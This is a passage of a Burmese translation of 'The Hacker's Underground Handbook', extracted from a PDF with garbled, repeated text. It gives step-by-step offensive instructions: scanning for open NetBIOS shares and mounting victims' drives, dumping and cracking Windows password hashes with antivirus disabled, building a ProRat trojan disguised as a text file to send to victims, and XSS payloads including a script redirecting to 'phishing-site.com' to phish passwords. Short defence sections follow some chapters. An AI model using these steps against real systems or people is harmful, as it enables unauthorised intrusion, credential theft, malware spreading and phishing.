Page 75: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

Chapter Seven Windows Hacking

Page 76: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

NetBIOS

NetBIOS ဆတာ Network Basic Input Output System ရ႕Aတေကာကပါ။ သငရ႕ LAN or

WAN ေပၚက drives, folders, files and printers ေတြက share လပဖ႕ခြငျပေပးတဟာပါ။ NetBIOS

ကေနတဆင ကြနပတာတစလးရ႕ access ကရယရတာ A ရမးရးစငးလြယကပါတယ။ Target

computer က file and printer က enable လပထားၿပး port 139 ပြငေနဖ႕ပလပါတယ။ NetBIOS

ကေနတဆင Windows machine တစခရ႕ access ကဘယလ ရယမလဆတာ ေA ာကမာ

ေျပာျပပါမယ။

၁. ပထမဆး Target က ရာပါမယ။ ဒလရာတေနရာမာ ဟကာေတြ A မားဆးသးၾကတ Tool ကေတာ

Angry IP Scanner ျဖစပါတယ။ http://www.angryziber.com/w/Download ကေန Download

လပၿပး သြငးလကပါ။

၂. ၿပးရင Scan လပခငတ IP range ကသတမတပါ။ WLAN (Wireless Local Area Network)

တစခက ခတဆကခတယဆရင ေA ာကကA တငး Local Computers ေတြက scan စစပါလမမယ။

ပ - 66

၃. ဟကာရ႕ရညရြယခကက port 139 မာ run ေနတ NetBIOS ကေနတဆင access

ကရယဖ႕ျဖစတာေၾကာင ေတြ႕ရတ host ေတြရ႕ ဒ port ကေရြးၿပး scan လပပါမယ။ ညာဘကက

Downward arrow ပေလးက click လကၿပး Scan Port က check ေပးလကပါ။ Port A သစက

ေရြးမလားလ႕ေမးတ Popup box တစခေပၚလာပါမယ။ YES ကႏပပါ။

ပ - 67

Page 77: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

၄. Ports: Aကြကမာ 139 လ႕ ရကထညၿပး OK ကႏပပါ။ ပ - 68

၅. Start ကႏပပါ။ စၿပး scan လပပါလမမယ။ Aားလးၿပးသြားၿပဆရင result ကျပတ box တစခ

တကလာပါမယ။

ပ - 69

Page 78: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

၆. IP ေပါငး 224 ခက စစခေၾကာငး၊ Aဒထက တစခပ active ျဖစေၾကာငးန႕ Aဒတစခကလညး port

139 ပြငေနေၾကာငး Aေပၚကပမာေတြ႕ရမာပါ။

ပ - 70

၇. Common Prompt ကဖြငဖ႕ Start -> Run -> ကသြားၿပး cmdcmdcmdcmd လ႕ရကထည -> ၿပးရင <Enter>

ကတပါ။

၈. ၿပးရင “nbtstat –a TargetIPaddress” လ႕ရကထညပါ။ target မာ file န႕ printing က share

enable ေပးထားရင ေAာကကAတငးျပပါလမမယ။

Page 79: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

၉. Aေပၚကပမာ DAVIDS-MACHINE က target computer ရ႕နာမညပါ။ A ဒနာမညရ႕ ေဘးမာ

နပါတ <20> ဆတာကေတြ႕မာပါ။ ဒါဆ file and printer sharing enable ျဖစေနပါတယ။ <20>

ဆတာတစခမ မေတြ႕ရငေတာ ဆကလပလ႕မရပါဘး။ target A သစသာ ဆကရာပါေတာ။

၁၀. “net view \\TargetIPaddress” ဆတ command ကရကပါ။ share လပထားတ drives,

folders, files and printers ေတြက ျပမယ command ပါ။ ဒါရကလ႕မ ဘာမ မေပၚလာဘးဆရင

target မာ ဘာကမ share မလပထားပါဘး။ ဒါဆ access ကရဖ႕ ဆကလပလ႕မရပါဘး။ ဒ example

မာေတာ ေA ာကပါA တငး ေပၚလာပါတယ။

ပ - 72

၁၁. Printer ႏစလးန႕ SharedDocs ဆတ Disk တစခက share ေပးထားပါတယ။ ဒါဆ ဟကာဟာ

printer ေတြက ထနးခပရၿပး SharedDocs ထက A ရာA ားလးကလညး ၾကညလ႕ရပါၿပ။

၁၂. SharedDocs Disk က access ရဖ႕ A ဒ drive က ဟကာရ႕ computer ထက ကးယရပါမယ။

“net use G: \\TargetIPaddress\DriveName” ဆတ command ကရကထညပါ။ G: ဆတေနရာမာ

ႀကကတစာလးက ထညႏငပါတယ။ drive က ကယကြနပတာထမာ ဘာနာမညန႕သမးမယဆတာက

ေျပာတာပါပ။

ပ - 73

Page 80: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

၁၃. Aေပၚက ပမာ ပထမတစေခါက G: န႕ map out လပတAခါ ကယ computer ထမာ G န႕ drive

ရေနၿပးသားလ႕ error တကပါတယ။ ဒလတေနရင တစျခား စာလးတစလးေျပာငးေပးလကပါ။

၁၄. Aားလးၿပးသြားရင My Computer ထသြားၾကညပါ။ Network Drives ေAာကမာ drive

Aသစတစခ ေရာကေနတာ ေတြ႕ရပါလမမယ။ Aဒါဟာ target ရ႕ SharedDocs drive ႀကးပါပ။

ဖြငၾကညလကရင သ႕ရ႕ documents Aားလးက ေတြ႕ရပါလမမယ။

ပ - 74

Page 81: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

Cracking Windows Passwords

Windows XP န႕ Windows Vista password ေတြက crack ဖ႕ ophcrack

http://ophcrack.sourceforge.net/ ဆတ program တစခက Aသးျပပါမယ။ Ophcrack ဟာ

Windows password cracker သကသကပါ။ ျမနျမနဆနဆန crack ႏငဖ႕Aတြက rainbow table က

Aသးျပပါတယ။ XP န႕ Vista ႏစခလးက password ေတြက crack ႏငေပမယ XP မာ

ပၿပးAဆငေျပပါတယ။ Windows password ေတြမာ Aသးျပတ hash ေတြထက တစခက LM (Lan

Manager) hash ပါ။ password တစခဟာ 7 လးထကေကာသြားရင chunk 7 ခခြလကၿပး

စာလးAားလးက uppercase ကေျပာငးလကပါတယ။ DES encryption န႕ hash လကပါတယ။ ဒလ

AပငးေလးေတြAျဖစ ခြလကတာရယ၊ uppercase ေျပာငးလကတာ ရယေတြေၾကာင crack ရတာ

ပလြယသြားပါတယ။ Windows password က ေAာကပါ ႏစေနရာမာ သမးပါတယ။

- C:\WINDOWS\system32\config ဆတ directory ထမာ

- registry: HKEY_LOCAL_MACHINESAM ထမာ ဒါေပမယ ႏစေနရာစလးမာ password ပါတဖငက

access မေပးပါဘး။

ဒါဆ ဒ hash ေတြက ဘယလ ေကာပလပၾကမလ? ႏစနညး ရပါတယ။

- Linux live CD န႕ boot လပၿပး SAM file က USB ထ ေကာပလပထညတာက တစနညး

- Ophcrack ထမာပါတ PWDUMP ဆတ program ကသးၿပး registry က လညစားတနညး

တ႕ျဖစပါတယ။

၁. ပထမဆး Ophcrack က ေဒါငးၿပး install လပပါ။ version ႏစခရပါတယ။ A ခA ရငဆးေျပာမာက

windows မာ Install လပၿပး A သးျပနညးျဖစတA တြက ပထမ တစခက ေဒါငးပါ။

ပ - 75

Page 82: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

၂. ေဒါငးၿပးရင သြငးလကပါ။ rainbow table က ေဒါငးမလားလ႕ ေမးတ option ေပၚလာရင

Aကနလးက uncheck လပပစၿပး program ကသာ သြငးလကပါ။ rainbow table ကေနာကမ

သပသပ ေဒါငးတာ ပေကာငးပါတယ။

ပ - 76

Page 83: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

၃. သြငးၿပသြားရင Ophcrack website ကသြားၿပး navigation က Tables

http://ophcrack.sourceforge.net/tables.php က click လကပါ။ download လပႏငမယ table ေတြ

Aားလးကျပပါလမမယ။ character ပစေလ size ပႀကးေလဆတာက ေတြ႕ပါလမမယ။ ကယရ႕

operating system န႕ ကကညမယ table ကေရြးလကပါ။

ပ - 77၊ 78

Page 84: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

၄. ဒ example မာေတာ XP free fast ကေရြးၿပး ေဒါငးလကပါတယ။ ၿပးရင ophcrack ကဖြငၿပး tables

ဆတာက ကလစႏပပါ။ ေဒါငးထားတ table ကေရြးၿပး Install ကႏပပါ။ ၿပးရင OK က ႏပပါ။

ပ - 79

Page 85: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

၅. Password hashes ကရယဖ႕ PWDUMP က run ပါမယ။ anit-virus, anti-spyware စတ

Aနတေတြ Aားလးက disable လပထားပါ။ PWDUMP ဟာ system file ေတြက access

လပတAတြက သ႕က malicious program ဆၿပး ထေAာတတလ႕ပါ။ disable မလပထားရင hash

က ေဖာထတတာ ေAာငျမငမာ မဟတပါဘး။

၆. Load က ကလစႏပၿပး Local SAM က ေရြးပါ။ မမကြနပတာေပၚက user ေတြA ားလးရ႕ password

hash ေတြက ျပပါလမမယ။

ပ - 80

၇. Crack ကႏပလကပါ။ စၿပး password hash ေတြက crack ပါလမမယ။ ၈. Crack လ႕ၿပးၿပဆရင ေA ာကကပလ screen တစခက ျမငရပါမယ။ ပ - 81

Page 86: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

၉. ေတြ႕တAတငးပါပ မနစAနညးငယAတြငးမာတင Aေကာငသးခမာ ႏစခရ႕ password က crack

လကပါတယ။

Bob : lolcatslolcatslolcatslolcats

David M : not foundnot foundnot foundnot found

Pushkin : Christmas02Christmas02Christmas02Christmas02

Ophcrack LiveCD

Aခ ေနာကတစနညးျဖစတ LiveCD န႕ crack တာက ေျပာပါမယ။

၁. Ophcrack website http://ophcrack.sourceforge.net/download.php?type=livecd ကသြားၿပး ကယ OS

န႕ကကမယ LiveCD ကေဒါငးလကပါ။

၂. ရလာတ .ISO file က Linux chapter မာတနးက Ubuntu LiveCD က ခတခသလ ခတလကပါ။

၃. ခတၿပးရင Aဒေခြက CD-drive ထထညၿပး cd ကေန boot တကလကပါ။

၄. ေAာကပါ screen ကျမငရပါလမမယ။

ပ - 82

Page 87: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

၅. Ophcrack Graphic mode ထက ၀ငဖ႕ enter ကတ ဒါမမဟတ 6 စကန႕ေစာငပါ။

တစခခမားေနလ႕ Graphic mode န႕တကမလာရင restart ျပနခၿပး Ophcrack Graphic VESA mode

န႕၀ငပါ။ ဒါလညး မရရင Ophcrack Text mode န႕၀ငပါ။

၆. Ophcrack loading ၿပးသြားရင windows password hash ေတြက သ႕ဘာသာ ရာယၿပး စတင

crack ေပးပါလမမယ။

Page 88: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

Windows Hacking ရနမ ကာကြယနညးမား

NetBIOS attack ကေန ကာကြယဖ႕…

၁. File and printer sharing က disable လပထားပါ။ Windows Vista မာေတာ default Aေနန႕

disable လပထားၿပးသားပါ။ ဒါေပမယ XP မာေတာ ကယက လပေပးရပါမယ။

- Start -> Control Panel -> Network Connections ကသြားပါ

- ကယရ႕ active connection က double-click ႏပလကပါ။

- Properties က ကလစႏပပါ။

- File and Printer Sharing က ေရြးေပးထားရင uncheck လပလကပါ။ OK

ပ - 83၊ 84

Page 89: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။
Page 90: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

Chapter Eight Malware

Page 91: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

Malware ေတြကေတာ ဒေန႕မာ တကယႀကးမားတ ျပနာAးေတြပါ။ လေပါငးမားစြာဟာ

Malware ေတြရနက ႀကေတြ႕ေနရပါတယ။ Aေတြ႕ရAမားဆး malware AမးAစားေတြကေတာ

Virus, Worm န႕ Trojan တ႕ပ ျဖစပါတယ။ ဒAခနးမာ malware ေတြAေၾကာငးက ေဆြးေႏြးမာျဖစၿပး

Windows Trojan တစခကလညး Example Aေနန႕ Aသးျပျပပါမယ။ Windows Trojan ကသးျပဖ႕

ဘာလ႕ေရြးလဆေတာ Linux န႕ Mac computer ေတြAတြက malware သပမရပါဘး။

Aဓပၸါယ ဖြငဆခက

၁. Viruses – Virus ေတြဟာ လေတြရ႕ AကAညမပါဘ မျပန႕ႏ႕ႏငပါဘး။ သတ႕ေနဖ႕ host

တစခလတAတြက သတ႕ဟာ ကပပါးေကာငေတြန႕ တပါတယ။ host ေတြဟာ ပမနျမငေနၾက

program ေတြ file ေတြလပါပ။ ဒ program က run လကတာန႕ virus ဟာ စတငAလပ

လပေဆာငၿပး တစျခားဖငေတြကပါ ကးစကေစပါတယ။ Virus ေတြဟာ ဖကAားေကာငးၾကပါတယ။

သငတ႕ရ႕ hardware ေတြ software ေတြန႕ file ေတြက ပကဆးေAာငလပႏငၾကပါတယ။ File

ေတြက share လပၾကတာကေန တဆင၊ email attachment ေတြကေနတဆင virus ေတြ

ပ႕ႏ႕ၾကပါတယ။

၂. Worms – Worm ကေတာ network ေပၚက computer ေတြဆက သ႕ဘာသာသ

ေကာပပြားသြားႏငတ malicious program ပါ။ Virus န႕မတတAခကက worm ဟာ ပ႕ႏ႕ဖ႕၊

ကးစကေစဖ႕ လရ႕ AကAညမလပါဘး။ System တစခက သကကလကၿပဆတာန႕

သ႕ရ႕ေကာပေတြက တစျခား system ေတြဆပါ ပ႕ႏ႕ေAာင လပေဆာငပါတယ။

၃. Trojan Horse – Trojan Horse ဆတာ System တစခရ႕ desktop ကေျပာငးတာ၊ User interface

က ကြငတကေAာင လပတာ၊ mouse က ထနးခပတာ စတ ေပါကတတကရေတြ လပႏငတ

malicious program ပါ။ သငရ႕ data ေတြက ရယဖ႕၊ ဖငေတြက ဖကပစဖ႕၊ password ေတြခးဖ႕၊

keystroke ေတြက ဖမးယဖ႕ စတာေတြကလညး လပေဆာငႏငပါေသးတယ။

၄. Logic Bombs – Logic Bomb ဆတာ Aခနမကေသးသေရြ႕၊ ဒါမမဟတ user က

သတမတထားတ action က မလပေသးသေရြ႕ ၿငမၿငမေလး ကပေနတ program တစခAတြငးက

code တစခ႕ပါပ။ Aခနကၿပဆတာန႕ မရငး program န႕မဆငတ Aလပေတြက စၿပး

လပေဆာငမယ code ေတြပါ။

Page 92: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

၅. Bacteria – Bacteria ကေတာ သတ႕ကယသတ႕ ေကာပေတြ Aမားႀကးပြားတ ေကာငေတြပါ။

system resource ေတြျဖစတ processor power, memory န႕ disk space ေတြAားလးက

ကနသြားေAာင၊ ျပညသြားေAာင လပမယေကာငေတြပါ။

၆. Blended Threats – သကေတာ AေပၚကဟာေတြAားလးက ေပါငးစပၿပး system vulnerabilities

ေတြန႕AတAသးျပၿပး ျဖန႕ဖ႕၊ machine ေတြက ကကဖ႕ လပမယေကာငပါ။

ProRat

Malicious program ေတြကျမငသာေAာင ျပဖ႕Aတြက Windows Trojan တစချဖစတ

ProRat Aေၾကာငးနညးနညးေျပာျပပါမယ။

၁. ဒကေန ေဒါငးလကပါ။ http://www.prorat.net/downloads.php ေဒါငးၿပးရင rar ျဖညဖ႕

password က “pro” ပါ။

၂. Program ကဖြငလကပါ။ ေAာကပါAတငး ေတြ႕ရပါလမမယ။

ပ - 85

၃. Trojan file က create လပရပါမယ။ Create က ကလစႏပၿပး Create ProRat Server

ကေရြးလကပါ။

Page 93: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

၄. Aဒ server က Victim ဆေရာကသြားAၿပးမာ ကယစကက ခတဆကလ႕ရေAာင ကယရ႕ IP

address ရကထညပါ။ ကယ IP ကမသဘးဆရင ေဘးနားက ျမားပေလးက ႏပလကပါ။ သ႕ဘာသာ

ျဖညေပးပါလမမယ။

ပ - 86

Page 94: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

၅. General Setting ကႏပလကပါ။ Aခဒမာ server ကေနကယဆ ဆကသြယမယ port

ကေရြးေပးပါ။ ေနာက victim ရ႕စကထက server ကခတဆကတAခါ password

ေပးထားခငတယဆရင password ရကထညလကပါ။ ၿပးေတာ Victim နာမညထညပါ။ Aဒ setting

မာ ေတြ႕တAတငးပါပ ProRat မာ Windows Firewall က disable လပႏငတဟာ ပါပါတယ။ ေနာက

Task Manager မာ မေပၚေAာငလညး လပလ႕ရပါတယ။

ပ - 87

Page 95: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

၆. ၿပးရင Bind with File ကႏပပါ။ Aဒမာ ProRat server file က တစျခားတစဖငန႕ တြေပးရပါမယ။

ဘာလ႕လဆေတာ Trojan ေတြဟာ လက ႏပၿပး ဖြငမ Aလပ လပေဆာငႏငၾကမာပါ။ ဒါေၾကာင ဒါက

ေတြ႕ေနက Text File တစခလ၊ Game file တစခလ လပေပးထားမ ကလစႏပၿပး ဖြငၾကညၾကမာပါ။

bind option က check ေပးၿပး bind လပေပးမယ file ကေရြးပါ။ ဒ example မာ ရးရး text document

တစခန႕ bind လပေပးလကပါတယ။

ပ - 88၊ 89

Page 96: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

၇. ၿပးရင Server Extensions ကႏပပါ။ ဒမာ ဘယလ server မးက generate လပမလဆတာ

ေရြးရပါမယ။ ကၽြနေတာကေတာ ေရြးထားေပးၿပးသား exe ကပ ေရြးလကပါတယ။ icon support

ပါလ႕ပါ။ ဒါေပမယ exe ဆတာ နညးနညး သသယ၀ငႏငစရာ ပမားပါတယ။ ဒါေၾကာင ၿပးရင

Aဒဟာက တစခခေျပာငးလကပါ။

ပ - 90

Page 97: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

၈. Server Icon ကႏပပါ။ ဒေနရာမာ ကယရ႕ server file Aတြက icon ကေရြးေပးပါ။ icon ဟာ

server file ဘာဆတာက နညးနညးဖနးA ပေပးႏငပါတယ။ ဒ Uပမာမာ ရးရး text document icon

ကေရြးလကပါတယ။ ဘာလ႕လဆေတာ text file န႕ bind လပထားလ႕ေလ။

ပ - 91

၉. A ားလးၿပးရင Create Server ကႏပလကပါ။ ဒUပမာမာ ကၽြနေတာလပခတ server file ကေတာ

ေA ာကက ပA တငးပါပ။

ပ - 92

၁၀. Aဒဖငက တစျခားနာမညတစခခေျပာငးေပးလကပါ။ Uပမာ - “Funny Joke”။ ၿပးရင attachment

Aေနန႕ ျဖန႕ပါ။ ဂမးAသစထြကလ႕ ပ႕ေပးလကတယ၊ တငေပးလကတယ ဘာညာဆၿပးေပါ။

၁၁. Aဒ server က တစေယာကေယာကက စကမာ သြငးမသြားၿပဆရင ဟကာကေန

ဘာေတြလပႏငလ ၾကညၾကရေAာင…

၁၂. ဘာေတြလပႏငလဆတာျပဖ႕ ကၽြနေတာကြနပတာထမာပ server က run လကပါတယ။ ဒဖငက

run လကတာန႕ Trojan က ေနာကကြယမာ သြငးၿပးသား ျဖစသြားပါတယ။ ဒလAသြငးခရတာန႕

Page 98: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

ဒစကက သြငးလကၿပျဖစေၾကာငး ဟကာဆ message ေရာကသြားမာ ျဖစပါတယ။ ဒေတာ ဟကာဟာ

Trojan Aသြငးခရတ စကရ႕ IP န႕ Port နပါတက ရကၿပး Aဒစကက ခတဆကပါတယ။ server က

create လပခတနးက password ေပးခရင connect လပတAခနမာ password ေတာငးပါလမမယ။

password ရကထညေပးၿပး connect လပၿပးသြားၿပဆရင Aဒစကက ဟကာဟာ လး၀ ထနးခပလ႕

ရသြားပါၿပ။

ပ - 93

Page 99: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

၁၃. ေAာကကပမာ ျမငတAတငးပါပ ဟကာAတြက ေရြးၿပးလပစရာေတြ တစပႀကးပါပ။

ထနးခပခရတ computer ထကဖငေတြက သ access လပႏငပါတယ။ Aဒ ကြနပတာက သ

ပတပစႏငပါတယ။ Keylogger ကသးၿပး Password ေတြ ရယသြားႏငပါတယ။ Aဒ computer ဆက

message ပ႕ႏငပါတယ။ Aဒ computer ရ႕ hard drive တစခလးက format ရကပစႏငပါတယ။

screen shot ရကယႏငပါတယ။ ေAာကမာ example နညးနညးျပပါမယ။

ပ - 94

၁၄. ေAာကကပကေတာ ဟကာကေန Aထနးခပခ computer ဆ message ပ႕လကတ ပပါ။ ပ - 95

Page 100: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

၁၅. ေAာကကပကေတာ Hide Start Button ဆတာက ဟကာက ႏပလကတAတြက Aထနးခပခ

ကြနပတာရ႕ task bar မာ start button ေပာကသြားပပါ။

ပ - 96

၁၆. ေAာကကပကေတာ Aထနးခပခ computer က screen shot ရကလကတပပါ။ ပ - 97

Aေပၚက example မာ ျပခတAတငး ဟကာဟာ Aထနးခပခ ကြနပတာက

ေပါကတတကရေတြ၊ ပကဆးေစႏငတာေတြ Aမားႀကး ေလာကလပႏငပါတယ။ ProRat ဆတာ

Aရမးက လသမားတ Trojan ပါ။ ဒေတာ Anti-Virus Program တစခခသာ သြငးထားပါ။ ဒ ProRat

ရ႕ရနကေန ကာကြယႏငပါလမမယ။ ဒါေပမယ… Anti-virus program ေတြက A ရးလပႏငတ၊

ေကာလႊားႏငတ Virus ေတြ၊ Trojan ေတြက ဖနတးႏငတ ဟကာဂရႀကးေတြ A မားႀကး

ရေနေသးတယဆတာကလညး မေမပါန႕။

Page 101: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

Malware မား၏ရနမ ကာကြယျခငး

ဒ chapter မာေဆြးေႏြးခတ malware ေတြရနကေန ကာကြယႏငဖ႕…

၁. ကယရ႕ ကြနပတာထမာ ေနာကဆးေပၚ ေကာငးမြနတ anti-virus software တစခခ သြငးထားပါ။

Aဒ anti-virus software မာ automatic update option ပါရင Aဒါက enable လပထားပါ။

၂. ကယရ႕ ကြနပတာထမာ Firewall သြငးထားပါ။ မမမနတ၊ ခြငျပမထားတ A၀ငAထြက

connection Aားလးရ႕ရနကေန firewall က ကာကြယေပးပါလမမယ။

Page 102: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

Chapter Nine Web Hacking

Page 103: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

Chapter Nine – Web Hacking Aား ျပနဆရန ကၽြနေတာ၏ ေသးႏပေသာ knowledge ျဖင မတတႏငသျဖင မရငးAတငးသာ ထညေပးလကပါသည။

With the Web 2.0 era upon us, most websites are dynamic and allow the users to

interact with the content. Many of the web applications that run these dynamic websites have security flaws. In this chapter, we will discuss some of the most popular forms of attacks against web applications. Cross Site ScriptingCross Site ScriptingCross Site ScriptingCross Site Scripting Cross site scripting (XSS) occurs when a user inputs malicious data into a website, which causes the application to do something it wasn’t intended to do. XSS attacks are very popular and some of the biggest websites have been affected by them including the FBI, CNN, Ebay, Apple, Microsft, and AOL. Some website features commonly vulnerable to XSS attacks are: • Search Engines • Login Forms • Comment Fields There are three types of XSS attacks: 1. Local – Local XSS attacks are by far the rarest and the hardest to pull off. This attack requires an exploit for a browser vulnerability. With this type of attack, the hacker can install worms, spambots, and backdoors onto your computer. 2. Non-Persistent – Non-persistent attacks are the most common types of attack and don’t harm the actual website. Non-persistent attacks occur when (---- a scripting language that is used for client-side web development.) or HTML is inserted into a variable which causes the output that the user sees to be changed. Non-persistent attacks are only activated when the user visits the URL crafted by the attacker. 3. Persistent – Persistent attacks are usually used against web applications like guest books, forums, and shout boxes. Some of the things a hacker can do with a persistent attacks are: • Steal website cookies cookies cookies cookies (Cookies are used by web browsers to store your user information so that you can stay logged into a website even after you leave. By stealing your cookie, the attacker can sometimes login without knowing your password.)

Page 104: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

• Deface the website • Spread Worms Now that you know what cross site scripting is, how can you tell if a website if vulnerable to it? 1. If there is a search field, enter a word and if that word is displayed back to you on the next page, there’s a chance it is vulnerable. 2. Now we will insert some HTML. Search for <h1>hi</h1><h1>hi</h1><h1>hi</h1><h1>hi</h1>, and if the word “hi” is outputted as a big header, it is vulnerable. ပ - 98

3. Now we will insert JavaScript. Search for <script>alert(“hi”);</script> <script>alert(“hi”);</script> <script>alert(“hi”);</script> <script>alert(“hi”);</script> , if the word “hi” pops up in a popup box, then the site is vulnerable to XSS. ပ - 99၊ 100

4. As you can see, these examples are non-persistent. Now if a hacker found a guestbook or something else like it that was vulnerable, he would be able to make it persistent and everyone that visits the page would get the above alert if that was part of his comment.

Hackers knowledgeable in JavaScript and PHP will be able to craft advanced XSS attacks to steal your cookies and spread XSS worms, but to show you a simple example of something more realistic then the above examples, I will show you how a hacker could use XSS to help with phishing.

Page 105: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

1. Let’s say a hacker wants to phish passwords from www.victim-site.com. If he was able to find an XSS vulnerability anywhere on the website, he would be able to craft a link pointing to the legit website that redirects to his phishing website.

2. In the example with the popup, when I inserted the JavaScript into the search box, a URL was formed that looked like the following:

ပ - 101

Here you can see that the code you typed into the search box was passed to the “searchbox” variable. 3. In the URL the hacker would then replace everything in between ?searchbox= ?searchbox= ?searchbox= ?searchbox= and &search &search &search &search with the following JavaScript code: <script>windo<script>windo<script>windo<script>window.location = “http://phishingw.location = “http://phishingw.location = “http://phishingw.location = “http://phishing----site.com”</script>site.com”</script>site.com”</script>site.com”</script> 4. Now when you go to the finished link, the legitimate site will redirect to the phishing website. Next what the hacker would do is encode the URL to make it look more legit and less suspicious. You can encode the URL at http://www.encodeurl.com/. 5. My finished encoded URL is: http%3A%2F%2Flocalhost%2Fform.php%3Fsearchbox%3D%3Cscript%3Ewindow.locationhttp%3A%2F%2Flocalhost%2Fform.php%3Fsearchbox%3D%3Cscript%3Ewindow.locationhttp%3A%2F%2Flocalhost%2Fform.php%3Fsearchbox%3D%3Cscript%3Ewindow.locationhttp%3A%2F%2Flocalhost%2Fform.php%3Fsearchbox%3D%3Cscript%3Ewindow.location+%3D+%5C%22http%3A%2F%2Fphishing+%3D+%5C%22http%3A%2F%2Fphishing+%3D+%5C%22http%3A%2F%2Fphishing+%3D+%5C%22http%3A%2F%2Fphishing----site.com%5C%22%3C%2Fscript%3E%26search%3Dsearch%21site.com%5C%22%3C%2Fscript%3E%26search%3Dsearch%21site.com%5C%22%3C%2Fscript%3E%26search%3Dsearch%21site.com%5C%22%3C%2Fscript%3E%26search%3Dsearch%21 6. Once the victim sees that the link points to the legitimate website, he will be more likely to fall for the phishing attack.

Page 106: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

Remote File InclusionRemote File InclusionRemote File InclusionRemote File Inclusion Remote File Inclusion (RFI) occurs when a remote file, usually a shell shell shell shell (a graphical

interface for browsing remote files and running your own code on a server), is included into a website which allows the hacker to execute server side commands as the current logged on user, and have access to files on the server. With this power the hacker can continue on to use local exploits to escalate his privileges and take over the whole system. Many servers are vulnerable to this kind of attack because of PHP’s default settings of register_globals register_globals register_globals register_globals and allow_url_fopen allow_url_fopen allow_url_fopen allow_url_fopen being enabled. Although as of PHP 6.0, register_globals has been depreciated and removed, many websites still rely on older versions of PHP to run their web 